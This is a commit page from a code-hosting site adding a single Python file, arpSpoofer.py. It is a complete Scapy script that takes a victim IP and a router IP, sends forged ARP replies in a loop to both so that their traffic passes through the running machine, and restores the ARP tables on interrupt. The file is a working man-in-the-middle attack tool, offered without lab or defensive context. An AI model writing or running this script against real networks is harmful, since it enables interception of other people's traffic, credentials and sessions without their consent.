Upload files to "/"
This commit is contained in:
36
arpSpoofer.py
Normal file
36
arpSpoofer.py
Normal file
@@ -0,0 +1,36 @@
|
||||
from scapy.all import *
|
||||
import sys
|
||||
|
||||
my_mac = get_if_hwaddr("eth0")
|
||||
|
||||
def arp_spoof(dest_ip, dest_mac, source_ip):
|
||||
packet = ARP(op = "is-at",hwsrc = my_mac, psrc = source_ip,
|
||||
hwdst = dest_mac, pdst = dest_ip)
|
||||
send(packet, verbose = False)
|
||||
|
||||
def arp_restore(dest_ip, dest_mac, source_ip, source_mac):
|
||||
packet = ARP(op = "is-at", hwsrc = source_mac, psrc = source_ip,
|
||||
hwdst = dest_mac, pdst = dest_ip)
|
||||
send(packet, verbose = False)
|
||||
|
||||
def main():
|
||||
victim_ip = sys.argv[1]
|
||||
router_ip = sys.argv[2]
|
||||
victim_mac = getmacbyip(victim_ip)
|
||||
router_mac = getmacbyip(router_ip)
|
||||
print("victim_mac =", victim_mac)
|
||||
print("router_mac =", router_mac)
|
||||
|
||||
|
||||
try:
|
||||
print("Sending spoofed ARP packets")
|
||||
while True:
|
||||
|
||||
arp_spoof(victim_ip, victim_mac, router_ip)
|
||||
arp_spoof(router_ip, router_mac, victim_ip)
|
||||
except KeyboardInterrupt:
|
||||
print("Restoring ARP Tables")
|
||||
arp_restore(router_ip, router_mac, victim_ip, victim_mac)
|
||||
arp_restore(victim_ip, victim_mac, router_ip, router_mac)
|
||||
quit()
|
||||
main()
|
||||
Reference in New Issue
Block a user